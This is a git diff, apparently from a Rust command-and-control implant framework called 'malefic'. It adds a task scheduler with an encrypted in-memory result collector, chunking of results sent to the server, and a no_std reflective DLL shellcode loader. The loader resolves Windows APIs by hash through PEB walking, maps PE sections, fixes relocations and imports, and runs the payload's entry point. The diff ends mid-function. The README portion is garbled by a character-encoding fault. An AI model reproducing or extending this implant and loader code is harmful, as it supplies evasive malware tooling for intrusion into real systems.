é…置文件中 `basic.encryption` å­—æ®µå†³å®šï¼Œæ”¯æŒ `aes`(AES-256-CTR,默认)ã€`xor`ã€`chacha20`,通过编译时 feature 自动选择 + +``` +æ•°æ®æµï¼š + 收集: Spite → encode_to_vec() → cryptor.encrypt() → Vec> (密文缓冲) + å‘é€: Vec> → cryptor.decrypt() → Spite::decode() → Spites (明文批é‡è¿”回) +``` + +## Features + +| Feature | 说明 | +|-----------|------| +| `tokio` | 使用 tokio 作为异步è¿è¡Œæ—¶ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `async-std` | 使用 async-std 作为异步è¿è¡Œæ—¶ | +| `smol` | 使用 smol 作为异步è¿è¡Œæ—¶ | + +## 基本用法 + +```rust +use futures::channel::mpsc; +use malefic_scheduler::{Scheduler, Cronner}; +use malefic_scheduler::collector::Collector; + +// åˆ›å»ºé€šé“ +let (response_sender, mut response_receiver) = mpsc::unbounded(); +let mut collector = Collector::new(response_sender); + +// åˆå§‹åŒ–调度器,将数æ®é€šé“连接到 Collector +let mut scheduler = Scheduler::new(collector.get_data_sender()); + +// 获å–任务æäº¤é€šé“ä¸ŽæŽ§åˆ¶é€šé“ +let task_sender = scheduler.get_task_sender(); +let ctrl_sender = scheduler.get_task_ctrl_sender(); + +// 在独立å程中è¿è¡Œè°ƒåº¦å™¨ä¸Žæ”¶é›†å™¨ +spawn(async move { scheduler.run().await }); +spawn(async move { collector.run().await }); + +// 通过 task_sender æäº¤ä»»åŠ¡ +// task_sender.send((is_async, task_id, module, body)).await; +``` + +## 架构概览 + +``` +任务æäº¤ ──> Scheduler ──> spawn 异步任务 + │ │ + 控制指令(å–æ¶ˆ/查询) 任务结果 + │ │ + v v + TaskManager Collector ──> 批é‡è¿”回结果 + (内存加密存储) +``` + +## å‚考链接 + +- [futures crate](https://docs.rs/futures) +- [tokio](https://docs.rs/tokio) +- [async-std](https://docs.rs/async-std) +- [smol](https://docs.rs/smol) diff --git a/malefic-crates/scheduler/src/collector.rs b/malefic-crates/scheduler/src/collector.rs new file mode 100644 index 0000000..0abb0d6 --- /dev/null +++ b/malefic-crates/scheduler/src/collector.rs @@ -0,0 +1,282 @@ +use futures::channel::mpsc::{self, UnboundedReceiver, UnboundedSender}; +use futures::{FutureExt, SinkExt, StreamExt}; +use malefic_crypto::crypto::{new_cryptor, Cryptor}; +use malefic_proto::proto::implantpb::{Spite, Spites}; +use prost::Message; + +pub struct Collector { + request_sender: UnboundedSender, + request_receiver: UnboundedReceiver, + + response_sender: UnboundedSender, + + data_sender: UnboundedSender, + data_receiver: UnboundedReceiver, + + data: Vec>, + cryptor: Cryptor, +} + +impl Collector { + pub fn new(response_sender: UnboundedSender) -> Self { + let (request_sender, request_receiver) = mpsc::unbounded(); + let (data_sender, data_receiver) = mpsc::unbounded(); + + let mut key = vec![0u8; 32]; + let mut iv = vec![0u8; 16]; + malefic_common::random::fill(&mut key); + malefic_common::random::fill(&mut iv); + let cryptor = new_cryptor(key, iv); + + Collector { + request_sender, + request_receiver, + response_sender, + data_sender, + data_receiver, + data: Vec::new(), + cryptor, + } + } + + pub fn get_request_sender(&self) -> UnboundedSender { + self.request_sender.clone() + } + + pub fn get_data_sender(&self) -> UnboundedSender { + self.data_sender.clone() + } + + pub async fn run(&mut self) -> Result<(), ()> { + #[cfg(debug_assertions)] + let _defer = malefic_common::errors::Defer::new("[collector] collector exit!"); + + loop { + futures::select! { + _ = self.request_receiver.next().fuse() => { + self.drain_pending_data(); + let data = self.get_spites(); + let _ = self.response_sender.send(data).await; + }, + data = self.data_receiver.next().fuse() => match data { + None => { + continue; + }, + Some(spite) => { + let plaintext = spite.encode_to_vec(); + if let Ok(encrypted) = self.cryptor.encrypt(plaintext) { + self.data.push(encrypted); + } + } + } + } + } + } + + fn drain_pending_data(&mut self) { + while let Ok(Some(spite)) = self.data_receiver.try_next() { + let plaintext = spite.encode_to_vec(); + if let Ok(encrypted) = self.cryptor.encrypt(plaintext) { + self.data.push(encrypted); + } + } + } + + fn get_spites(&mut self) -> Spites { + let spites = self + .data + .iter() + .filter_map(|encrypted| { + self.cryptor + .decrypt(encrypted.clone()) + .ok() + .and_then(|bytes| Spite::decode(bytes.as_slice()).ok()) + }) + .collect(); + self.data.clear(); + self.cryptor.reset(); + Spites { spites } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use malefic_proto::proto::implantpb::{spite::Body, Empty, Status}; + + fn make_spite(task_id: u32, name: &str) -> Spite { + Spite { + task_id, + name: name.to_string(), + r#async: true, + timeout: 0, + error: 0, + status: Some(Status { + task_id, + status: 0, + error: String::new(), + }), + body: Some(Body::Empty(Empty {})), + } + } + + /// Verify that stored data is actually encrypted (not plaintext protobuf). + #[test] + fn stored_data_is_encrypted() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let spite = make_spite(42, "test_module"); + let plaintext = spite.encode_to_vec(); + + let encrypted = collector.cryptor.encrypt(plaintext.clone()).unwrap(); + collector.data.push(encrypted.clone()); + + // Encrypted bytes must differ from plaintext + assert_ne!(encrypted, plaintext, "stored data should not be plaintext"); + // Must not be decodable as a Spite directly + assert!( + Spite::decode(encrypted.as_slice()).is_err() + || Spite::decode(encrypted.as_slice()).unwrap() != spite, + "encrypted blob should not decode as the original Spite" + ); + } + + /// Verify single spite encrypt-then-decrypt round-trip. + #[test] + fn single_spite_round_trip() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let spite = make_spite(1, "round_trip"); + let plaintext = spite.encode_to_vec(); + let encrypted = collector.cryptor.encrypt(plaintext).unwrap(); + collector.data.push(encrypted); + + let spites = collector.get_spites(); + assert_eq!(spites.spites.len(), 1); + assert_eq!(spites.spites[0], spite); + } + + /// Verify multiple spites are correctly encrypted and decrypted in order. + #[test] + fn multiple_spites_round_trip() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let items: Vec = (0..5) + .map(|i| make_spite(i, &format!("task_{}", i))) + .collect(); + + for spite in &items { + let plaintext = spite.encode_to_vec(); + let encrypted = collector.cryptor.encrypt(plaintext).unwrap(); + collector.data.push(encrypted); + } + + let spites = collector.get_spites(); + assert_eq!(spites.spites.len(), 5); + for (i, spite) in spites.spites.iter().enumerate() { + assert_eq!(spite, &items[i], "spite {} mismatch", i); + } + } + + /// After get_spites(), buffer must be empty and cryptor reset for next batch. + #[test] + fn get_spites_clears_buffer_and_resets_cryptor() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + // Batch 1 + let spite1 = make_spite(10, "batch1"); + let encrypted = collector.cryptor.encrypt(spite1.encode_to_vec()).unwrap(); + collector.data.push(encrypted); + let result1 = collector.get_spites(); + assert_eq!(result1.spites.len(), 1); + assert_eq!(result1.spites[0], spite1); + + // Buffer should be empty now + assert!(collector.data.is_empty()); + + // Batch 2 should work correctly after reset + let spite2 = make_spite(20, "batch2"); + let encrypted = collector.cryptor.encrypt(spite2.encode_to_vec()).unwrap(); + collector.data.push(encrypted); + let result2 = collector.get_spites(); + assert_eq!(result2.spites.len(), 1); + assert_eq!(result2.spites[0], spite2); + } + + /// Empty collector returns empty Spites. + #[test] + fn empty_collector_returns_empty_spites() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let spites = collector.get_spites(); + assert!(spites.spites.is_empty()); + } + + /// Integration test: data flows through channels and is encrypted/decrypted correctly. + #[test] + fn channel_integration_flow() { + futures::executor::block_on(async { + let (response_sender, mut response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + let data_sender = collector.get_data_sender(); + + let expected = make_spite(99, "async_test"); + + // Simulate what run() does: send data via channel, receive and encrypt + data_sender.unbounded_send(expected.clone()).unwrap(); + let spite = collector.data_receiver.next().await.unwrap(); + let plaintext = spite.encode_to_vec(); + let encrypted = collector.cryptor.encrypt(plaintext).unwrap(); + collector.data.push(encrypted); + + // Simulate request: get_spites decrypts and sends response + let spites = collector.get_spites(); + let _ = collector.response_sender.send(spites).await; + + let received = response_receiver.next().await.unwrap(); + assert_eq!(received.spites.len(), 1); + assert_eq!(received.spites[0], expected); + }); + } + + #[test] + fn request_flush_drains_pending_data_before_responding() { + let (response_sender, _response_receiver) = mpsc::unbounded(); + let mut collector = Collector::new(response_sender); + + let spite = make_spite(77, "flush_first"); + collector + .data_sender + .unbounded_send(spite.clone()) + .expect("enqueue spite"); + collector.drain_pending_data(); + + let spites = collector.get_spites(); + assert_eq!(spites.spites, vec![spite]); + } + + /// Each Collector instance uses a different random key. + #[test] + fn different_collectors_use_different_keys() { + let (s1, _) = mpsc::unbounded(); + let (s2, _) = mpsc::unbounded(); + let mut c1 = Collector::new(s1); + let mut c2 = Collector::new(s2); + + let spite = make_spite(1, "key_test"); + let plaintext = spite.encode_to_vec(); + let enc1 = c1.cryptor.encrypt(plaintext.clone()).unwrap(); + let enc2 = c2.cryptor.encrypt(plaintext).unwrap(); + + // Different keys should produce different ciphertexts + assert_ne!( + enc1, enc2, + "different collectors should produce different ciphertexts" + ); + } +} diff --git a/malefic-core/src/scheduler/mod.rs b/malefic-crates/scheduler/src/lib.rs similarity index 69% rename from malefic-core/src/scheduler/mod.rs rename to malefic-crates/scheduler/src/lib.rs index 0767da5..8baf148 100644 --- a/malefic-core/src/scheduler/mod.rs +++ b/malefic-crates/scheduler/src/lib.rs @@ -1,45 +1,101 @@ +pub mod collector; mod task; +pub use malefic_cron::Cronner; + use futures::channel::mpsc::{self, UnboundedReceiver, UnboundedSender}; use futures::{select, FutureExt}; use futures::{SinkExt, StreamExt}; use futures_timer::Delay; +use prost::Message; use std::sync::{Arc, Mutex}; use std::time::Duration; -use crate::common::spawn; -use malefic_helper::debug; -use malefic_proto::module::{MaleficModule, TaskResult}; +use malefic_common::debug; +use malefic_common::spawn; +use malefic_config; +use malefic_module::{MaleficModule, TaskResult}; use malefic_proto::new_spite; use malefic_proto::proto::implantpb::spite::Body; use malefic_proto::proto::implantpb::Spite; +use malefic_proto::proto::modulepb::Block; use task::{Task, TaskHandle, TaskManager}; +/// Marker name to distinguish auto-chunked Blocks from module-originated Blocks. +const CHUNK_MARKER: &str = "__chunked__"; + +/// Send a Spite, auto-chunking if it exceeds the configured max_packet_length. +/// +/// Large Spites are split into multiple Spites with Body::Block, +/// marked with name="__chunked__" for server-side reassembly. +/// If max_packet_length is 0 (unconfigured), chunking is disabled. +async fn send_spite_chunked(sender: &mut UnboundedSender, spite: Spite) { + let max_size = *malefic_config::MAX_PACKET_LENGTH; + if max_size == 0 { + // Chunking disabled + let _ = sender.send(spite).await; + return; + } + + // Leave 20% headroom for encryption + compression + frame overhead + let threshold = max_size * 4 / 5; + let encoded_len = spite.encoded_len(); + if encoded_len <= threshold { + let _ = sender.send(spite).await; + return; + } + + // Serialize the entire Spite to bytes, then chunk the raw bytes. + // Server reassembles by concatenating chunks and decoding back to Spite. + let mut spite_bytes = Vec::with_capacity(encoded_len); + if spite.encode(&mut spite_bytes).is_err() { + // Fallback: send as-is and hope for the best + let _ = sender.send(spite).await; + return; + } + + let task_id = spite.task_id; + let status = spite.status.clone(); + let chunk_size = threshold.saturating_sub(200); // leave room for Block wrapper + headers + let total_chunks = (spite_bytes.len() + chunk_size - 1) / chunk_size; + + for (i, chunk) in spite_bytes.chunks(chunk_size).enumerate() { + let is_last = i == total_chunks - 1; + let block_spite = Spite { + task_id, + name: CHUNK_MARKER.to_string(), + r#async: true, + body: Some(Body::Block(Block { + block_id: i as u32, + content: chunk.to_vec(), + end: is_last, + })), + status: if is_last { status.clone() } else { None }, + ..Default::default() + }; + let _ = sender.send(block_spite).await; + } + debug!( + "[chunked] task {} split into {} chunks ({} bytes)", + task_id, total_chunks, encoded_len + ); +} + pub enum TaskOperator { - // AddTask(u32), CancelTask(u32), FinishTask(u32), QueryTask(u32), ListTask, } -// 调度器结构体 pub struct Scheduler { manager: TaskManager, - - // 用于接收新Task任务 task_sender: UnboundedSender<(bool, u32, Box, Body)>, task_receiver: UnboundedReceiver<(bool, u32, Box, Body)>, - - // 用于接收Taskè¿è¡Œç»“æžœ 这里的结果全立å³å‘é€ç»™å®¢æˆ·ç«¯ _result_sender: UnboundedSender, result_receiver: UnboundedReceiver, - - // 管ç†module与task ctrl_sender: UnboundedSender<(u32, TaskOperator)>, ctrl_receiver: UnboundedReceiver<(u32, TaskOperator)>, - - // 呿•°æ®æ”¶é›†å™¨å‘逿•°æ® data_sender: UnboundedSender, } @@ -68,10 +124,9 @@ impl Scheduler { self.ctrl_sender.clone() } - // è¿è¡Œè°ƒåº¦å™¨ pub async fn run(&mut self) -> Result<(), ()> { #[cfg(debug_assertions)] - let _defer = malefic_helper::Defer::new("[scheduler] scheduler exit!"); + let _defer = malefic_common::errors::Defer::new("[scheduler] scheduler exit!"); loop { select! { @@ -94,7 +149,7 @@ impl Scheduler { result_recv = self.result_receiver.next().fuse() => { if let Some(result) = result_recv { debug!("Scheduler receiver result: {:#?}", result); - let _ = self.data_sender.send(new_spite(result.task_id, String::new(), result.body)).await; + send_spite_chunked(&mut self.data_sender, new_spite(result.task_id, String::new(), result.body)).await; } }, ctrl_recv = self.ctrl_receiver.next().fuse() => { @@ -139,7 +194,7 @@ impl Scheduler { task.send_count += 1; task.update_last(); } - let _ = async_sender.send(result.to_spite()).await; + send_spite_chunked(&mut async_sender, result.to_spite()).await; } }); @@ -156,9 +211,6 @@ impl Scheduler { _ = input_stream.fuse() => { debug!("[task] input_stream finished"); } - _ = output_stream.fuse() => { - debug!("[task] output_stream finished"); - }, data = task_handle.fuse() => { debug!("[task] task_handle finished"); match data { @@ -173,6 +225,7 @@ impl Scheduler { } } drop(result_sender); + let _ = output_stream.await; let _ = end_sender.send((0, TaskOperator::FinishTask(id))).await; debug!("[task] ending!"); }); diff --git a/malefic-core/src/scheduler/task.rs b/malefic-crates/scheduler/src/task.rs similarity index 95% rename from malefic-core/src/scheduler/task.rs rename to malefic-crates/scheduler/src/task.rs index b311993..fac454a 100644 --- a/malefic-core/src/scheduler/task.rs +++ b/malefic-crates/scheduler/src/task.rs @@ -1,4 +1,4 @@ -use malefic_helper::debug; +use malefic_common::debug; use malefic_proto::proto::implantpb::spite::Body; use malefic_proto::proto::implantpb::Spite; use malefic_proto::proto::modulepb; @@ -6,11 +6,10 @@ use malefic_proto::{new_empty_spite, new_spite}; use std::collections::HashMap; use std::sync::{Arc, Mutex}; - -use crate::common::{error::MaleficError, CancellableHandle, RuntimeHandle}; -use crate::scheduler::TaskOperator; +use crate::TaskOperator; use futures::channel::mpsc::UnboundedSender; -use malefic_proto::module::{Input, MaleficModule, Output, TaskResult}; +use malefic_common::{errors::MaleficError, CancellableHandle, RuntimeHandle}; +use malefic_module::{Input, MaleficModule, Output, TaskResult}; pub struct TaskHandle { pub(crate) task: Arc>, @@ -85,7 +84,6 @@ impl TaskManager { } }) .collect(); - Ok(Some(new_spite( tid, "list_task".to_string(), diff --git a/malefic-crates/srdi/Cargo.toml b/malefic-crates/srdi/Cargo.toml new file mode 100644 index 0000000..b8b25bf --- /dev/null +++ b/malefic-crates/srdi/Cargo.toml @@ -0,0 +1,47 @@ +[package] +name = "malefic-srdi" +version = "0.1.0" +edition = "2021" + +[lib] +crate-type = ["rlib"] + +# Standalone shellcode binary — only build with: +# cargo +nightly build -p malefic-srdi --bin malefic-srdi -Zbuild-std=core --target x86_64-pc-windows-msvc +[[bin]] +name = "malefic-srdi" +path = "src/main.rs" +required-features = ["standalone"] + +[features] +default = [] +standalone = [] + +[dependencies.winapi] +version = "0.3.9" +features = [ + "winuser", + "fileapi", + "handleapi", + "winbase", +] + +[dependencies.windows-sys] +version = "0.59.0" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_SystemInformation", + "Win32_System_Environment", + "Win32_System_ProcessStatus", + "Win32_System_LibraryLoader", + "Win32_Globalization", + "Win32_System_Diagnostics_ToolHelp", + "Win32_System_Kernel", + "Wdk_System_SystemServices", +] diff --git a/malefic-crates/srdi/src/lib.rs b/malefic-crates/srdi/src/lib.rs new file mode 100644 index 0000000..45f1e46 --- /dev/null +++ b/malefic-crates/srdi/src/lib.rs @@ -0,0 +1,15 @@ +#![allow(dead_code)] +#![allow(non_snake_case)] +#![allow(non_camel_case_types)] +#![allow(non_upper_case_globals)] +#![allow(overflowing_literals)] +#![allow(invalid_value)] +#![feature(naked_functions)] +#![no_std] + +#[macro_use] +pub mod utils; + +pub mod types; + +pub mod loader; diff --git a/malefic-crates/srdi/src/loader.rs b/malefic-crates/srdi/src/loader.rs new file mode 100644 index 0000000..e02f1ee --- /dev/null +++ b/malefic-crates/srdi/src/loader.rs @@ -0,0 +1,1119 @@ +use core::{ + arch::asm, + ffi::c_void, + mem::{size_of, transmute}, + ptr::{null, read_unaligned}, +}; + +use crate::{ + types::{ + BuildThreshold, DllMain, GetProcAddress, LdrpHandleTlsData, LoadLibraryA, + NtFlushInstructionCache, RtlAddFunctionTable, RtlGetVersion, VerShort, VirtualAlloc, + VirtualProtect, WinVer, BASE_RELOCATION_BLOCK, BASE_RELOCATION_ENTRY, DLL_BEACON_USER_DATA, + IMAGE_ORDINAL, IMAGE_RUNTIME_FUNCTION_ENTRY, OSVERSIONINFOEXW, WIN32_WIN_NT_WIN10, + WIN32_WIN_NT_WIN7, WIN32_WIN_NT_WIN8, WIN32_WIN_NT_WINBLUE, WIN32_WIN_NT_WINXP, + }, + utils::{srdi_memcmp, IsWindows1020H1OrGreater}, +}; + +use crate::utils::{ + boyer_moore, dbj2_str_hash, get_cstr_len, pointer_add, pointer_sub, srdi_memcpy, srdi_memset, + IsWindows1019H1OrGreater, IsWindows10RS2OrGreater, IsWindows10RS3OrGreater, + IsWindows10RS4OrGreater, IsWindows10RS5OrGreater, IsWindows11BetaOrGreater, + IsWindows7OrGreater, IsWindows8OrGreater, IsWindows8Point1OrGreater, +}; +use winapi::um::winnt::{ + IMAGE_BASE_RELOCATION, IMAGE_DELAYLOAD_DESCRIPTOR, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, + IMAGE_EXPORT_DIRECTORY, IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, IMAGE_NT_SIGNATURE, + IMAGE_ORDINAL_FLAG, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE, + IMAGE_SECTION_HEADER, IMAGE_THUNK_DATA, IMAGE_TLS_DIRECTORY, MEM_COMMIT, MEM_RESERVE, + PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY, PAGE_READONLY, + PAGE_READWRITE, PAGE_WRITECOPY, +}; +use windows_sys::Win32::System::{ + Threading::{PEB, PEB_LDR_DATA}, + WindowsProgramming::LDR_DATA_TABLE_ENTRY, +}; + +#[cfg(not(test))] +#[panic_handler] +fn panic(_info: &core::panic::PanicInfo) -> ! { + loop {} +} + +pub type Main = extern "system" fn(); + +pub unsafe fn loader( + module_base: *const c_void, + entry_func: *const c_void, + user_data: *const core::ffi::c_void, + user_data_len: usize, +) { + let dos_headers = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_headers).e_magic.ne(&IMAGE_DOS_SIGNATURE) { + return; + } + + let nt_header = get_nt_header!(module_base); + if (*nt_header).Signature.ne(&IMAGE_NT_SIGNATURE) { + return; + } + let option_header = &(*nt_header).OptionalHeader; + let file_header = &(*nt_header).FileHeader; + + let section_header = pointer_add( + option_header as _, + file_header.SizeOfOptionalHeader as usize, + ) as *const IMAGE_SECTION_HEADER; + + let kernel32 = get_module_base_by_hash(0x6ddb9555); + let ntdll = get_module_base_by_hash(0x1edab0ed); + if kernel32.is_null() || ntdll.is_null() { + return; + } + + let load_library_a = get_export_by_hash(kernel32, 0xb7072fdb); + let get_proc_address = get_export_by_hash(kernel32, 0xdecfc1bf); + let virtual_alloc = get_export_by_hash(kernel32, 0x97bc257); + let virtual_protect = get_export_by_hash(kernel32, 0xe857500d); + let nt_flush_instruction_cache = get_export_by_hash(ntdll, 0x6269b87f); + let rtl_get_version = get_export_by_hash(ntdll, 0xdde5cdd); + + if load_library_a.is_null() + || get_proc_address.is_null() + || virtual_alloc.is_null() + || virtual_protect.is_null() + || nt_flush_instruction_cache.is_null() + || rtl_get_version.is_null() + { + return; + } + + let load_library_a: LoadLibraryA = transmute(load_library_a); + let get_proc_address: GetProcAddress = transmute(get_proc_address); + let virtual_alloc: VirtualAlloc = transmute(virtual_alloc); + let virtual_protect: VirtualProtect = transmute(virtual_protect); + + let nt_flush_instruction_cache: NtFlushInstructionCache = transmute(nt_flush_instruction_cache); + let mut rebase_offset = 0; + + let mut virtual_base_address = virtual_alloc( + option_header.ImageBase as _, + option_header.SizeOfImage as _, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + + if virtual_base_address.is_null() { + virtual_base_address = virtual_alloc( + 0 as *mut c_void, + option_header.SizeOfImage as _, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + if virtual_base_address.is_null() { + return; + } + rebase_offset = virtual_base_address as usize - option_header.ImageBase as usize; + } + + srdi_memcpy( + virtual_base_address as _, + module_base as _, + option_header.SizeOfHeaders as _, + ); + let mut section_header = section_header; + + for _ in 0..file_header.NumberOfSections { + let mut _old_protection = 0; + let section_addr = pointer_add(virtual_base_address, (*section_header).VirtualAddress as _); + let section_data = pointer_add(module_base, (*section_header).PointerToRawData as _); + srdi_memcpy( + section_addr as _, + section_data as _, + (*section_header).SizeOfRawData as _, + ); + + section_header = section_header.offset(1); + } + + let relocations = &option_header.DataDirectory[5]; + + if rebase_offset.ne(&0) && relocations.Size.ne(&0) { + let block_size = size_of::(); + let entry_size = size_of::(); + let mut reloc_block = pointer_add(virtual_base_address, relocations.VirtualAddress as _) + as *mut IMAGE_BASE_RELOCATION; + + while (*reloc_block).VirtualAddress.ne(&0) { + let relocation_count = + ((*reloc_block).SizeOfBlock - block_size as u32) / entry_size as u32; + let relocation_entry = + pointer_add(reloc_block, block_size) as *const BASE_RELOCATION_ENTRY; + + for i in 0..relocation_count { + let entry = relocation_entry.offset(i as _); + if (*entry).type_().eq(&0) { + continue; + } + let rva = (*reloc_block).VirtualAddress as usize + (*entry).offset_() as usize; + let dest = pointer_add(virtual_base_address, rva as _); + *(dest as *mut usize) = *(dest as *mut usize) + rebase_offset as usize; + } + reloc_block = pointer_add(reloc_block as _, (*reloc_block).SizeOfBlock as _) + as *mut IMAGE_BASE_RELOCATION; + } + } + + let imports = &option_header.DataDirectory[1]; + let mut import_descriptor_ptr = + pointer_add(virtual_base_address, imports.VirtualAddress as usize) + as *const IMAGE_IMPORT_DESCRIPTOR; + + while (*import_descriptor_ptr).Name.ne(&0) { + let lib_name = pointer_add(virtual_base_address, (*import_descriptor_ptr).Name as _); + let lib = load_library_a(lib_name as *mut i8); + + let mut ori_thunk_ptr; + if (*import_descriptor_ptr).u.OriginalFirstThunk().ne(&0) { + ori_thunk_ptr = pointer_add( + virtual_base_address, + *(*import_descriptor_ptr).u.OriginalFirstThunk() as usize, + ) as *mut IMAGE_THUNK_DATA; + } else { + ori_thunk_ptr = pointer_add( + virtual_base_address, + (*import_descriptor_ptr).FirstThunk as _, + ) as *mut IMAGE_THUNK_DATA; + }; + + let mut thunk_ptr = pointer_add( + virtual_base_address, + (*import_descriptor_ptr).FirstThunk as _, + ) as *mut IMAGE_THUNK_DATA; + + while (*ori_thunk_ptr).u1.Function().ne(&0) { + let ordinal = (*ori_thunk_ptr).u1.Ordinal(); + if IMAGE_SNAP_BY_ORDINAL(ordinal) { + let ordinal = IMAGE_ORDINAL_FUNC(ordinal); + *(*thunk_ptr).u1.Function_mut() = get_proc_address(lib, (ordinal) as *mut _) as _; + } else { + let name_ptr = pointer_add( + virtual_base_address, + *(*ori_thunk_ptr).u1.AddressOfData() as _, + ) as *mut IMAGE_IMPORT_BY_NAME; + *(*thunk_ptr).u1.Function_mut() = + get_proc_address(lib, &(*name_ptr).Name[0] as *const _ as *mut _) as _; + } + thunk_ptr = thunk_ptr.offset(1); + ori_thunk_ptr = ori_thunk_ptr.offset(1); + } + + import_descriptor_ptr = import_descriptor_ptr.offset(1); + } + + let delay_import_dir = &option_header.DataDirectory[13]; + let mut delay_import_ptr = + pointer_add(virtual_base_address, delay_import_dir.VirtualAddress as _) + as *mut IMAGE_DELAYLOAD_DESCRIPTOR; + + if delay_import_dir.Size.gt(&0) { + while (*delay_import_ptr).DllNameRVA.ne(&0) { + let lib_name = pointer_add(virtual_base_address, (*delay_import_ptr).DllNameRVA as _); + let lib = load_library_a(lib_name as _); + + let mut orig_thunk = pointer_add( + virtual_base_address, + (*delay_import_ptr).ImportNameTableRVA as _, + ) as *mut IMAGE_THUNK_DATA; + let mut thunk = pointer_add( + virtual_base_address, + (*delay_import_ptr).ImportAddressTableRVA as _, + ) as *mut IMAGE_THUNK_DATA; + + while (*orig_thunk).u1.Function().ne(&0) { + if IMAGE_SNAP_BY_ORDINAL((*orig_thunk).u1.Ordinal() as _) { + let func_ordinal = IMAGE_ORDINAL_FUNC((*orig_thunk).u1.Ordinal() as _); + *(*thunk).u1.Function_mut() = get_proc_address(lib, func_ordinal as _) as _; + } else { + let func_name = + pointer_add(virtual_base_address, *(*orig_thunk).u1.AddressOfData() as _) + as *mut IMAGE_IMPORT_BY_NAME; + *(*thunk).u1.Function_mut() = + get_proc_address(lib, &(*func_name).Name[0] as *const _ as *mut _) as _; + } + + thunk = thunk.offset(1); + orig_thunk = orig_thunk.offset(1); + } + + delay_import_ptr = delay_import_ptr.offset(1); + } + } + + let mut section_header = pointer_add( + &(*nt_header).OptionalHeader as _, + file_header.SizeOfOptionalHeader as _, + ) as *const IMAGE_SECTION_HEADER; + + for _ in 0..file_header.NumberOfSections { + let mut _old_protection = 0; + let section_addr = pointer_add(virtual_base_address, (*section_header).VirtualAddress as _); + + let protection = match ( + ((*section_header).Characteristics & IMAGE_SCN_MEM_EXECUTE).ne(&0), + ((*section_header).Characteristics & IMAGE_SCN_MEM_WRITE).ne(&0), + ((*section_header).Characteristics & IMAGE_SCN_MEM_READ).ne(&0), + ) { + (true, true, true) => PAGE_EXECUTE_READWRITE, + (true, true, false) => PAGE_EXECUTE_WRITECOPY, + (true, false, true) => PAGE_EXECUTE_READ, + (true, false, false) => PAGE_EXECUTE, + (false, true, true) => PAGE_READWRITE, + (false, true, false) => PAGE_WRITECOPY, + (false, false, true) => PAGE_READONLY, + _ => 0, + }; + + virtual_protect( + section_addr, + (*section_header).SizeOfRawData as _, + protection, + &mut _old_protection, + ); + section_header = section_header.offset(1); + } + + let _ = nt_flush_instruction_cache(-1 as _, null(), 0); + let win_ver = get_win_ver(rtl_get_version); + LdrpHandleTlsData(ntdll, virtual_base_address, &win_ver); + + let tls_data = &option_header.DataDirectory[9]; + if tls_data.Size.gt(&0) { + let tls_dir_ptr = pointer_add(virtual_base_address, tls_data.VirtualAddress as _) + as *mut IMAGE_TLS_DIRECTORY; + let mut callback_ptr = (*tls_dir_ptr).AddressOfCallBacks as *const *const c_void; + + while !(*callback_ptr).is_null() { + transmute::<*const c_void, DllMain>(*callback_ptr)( + virtual_base_address as _, + 1, + 0 as _, + ); + callback_ptr = callback_ptr.offset(1); + } + } + + #[cfg(target_arch = "x86_64")] + { + let rtl_add_function_table = get_export_by_hash(kernel32, 0x81a887ce); + if rtl_add_function_table.is_null() { + return; + } + let rtl_add_function_table: RtlAddFunctionTable = transmute(rtl_add_function_table); + let exception_dir = &option_header.DataDirectory[3]; + if exception_dir.Size.gt(&0) { + let rf_entry = pointer_add(virtual_base_address, tls_data.VirtualAddress as usize) + as *mut IMAGE_RUNTIME_FUNCTION_ENTRY; + let _ = rtl_add_function_table( + rf_entry, + (exception_dir.Size / size_of::() as u32) - 1, + virtual_base_address as _, + ); + } + } + + let entrypoint = pointer_add(virtual_base_address, option_header.AddressOfEntryPoint as _); + let user_data_ptr = virtual_alloc( + 0 as _, + user_data_len, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + ); + srdi_memcpy(user_data_ptr as _, user_data as _, user_data_len); + if entry_func.is_null() { + // EXE maybe + transmute::(entrypoint as _)(0 as _, 1, 0 as _); + return; + } + transmute::(entrypoint as _)(0 as _, DLL_BEACON_USER_DATA, user_data_ptr as _); + let entry_func = pointer_add(virtual_base_address, entry_func as _); + transmute::<*const core::ffi::c_void, Main>(entry_func); +} + +#[used] +#[no_mangle] +pub static _fltused: i32 = 0; + +#[inline] +#[cfg(target_arch = "x86_64")] +fn IMAGE_SNAP_BY_ORDINAL(ordinal: &u64) -> bool { + (ordinal & IMAGE_ORDINAL_FLAG) != 0 +} + +#[inline] +#[cfg(target_arch = "x86_64")] +fn IMAGE_ORDINAL_FUNC(odrinal: &u64) -> usize { + (odrinal & (IMAGE_ORDINAL as u64)) as _ +} + +#[inline] +#[cfg(target_arch = "x86")] +fn IMAGE_SNAP_BY_ORDINAL(ordinal: &u32) -> bool { + (ordinal & IMAGE_ORDINAL_FLAG) != 0 +} + +#[inline] +#[cfg(target_arch = "x86")] +fn IMAGE_ORDINAL_FUNC(odrinal: &u32) -> usize { + (odrinal & (IMAGE_ORDINAL as u32)) as _ +} + +#[inline] +fn get_peb() -> usize { + let ax: usize; + #[cfg(target_arch = "x86_64")] + { + unsafe { + asm!( + "mov {}, qword ptr gs:[0x60]", + lateout(reg) ax, + options(nostack, pure, readonly), + ); + } + } + 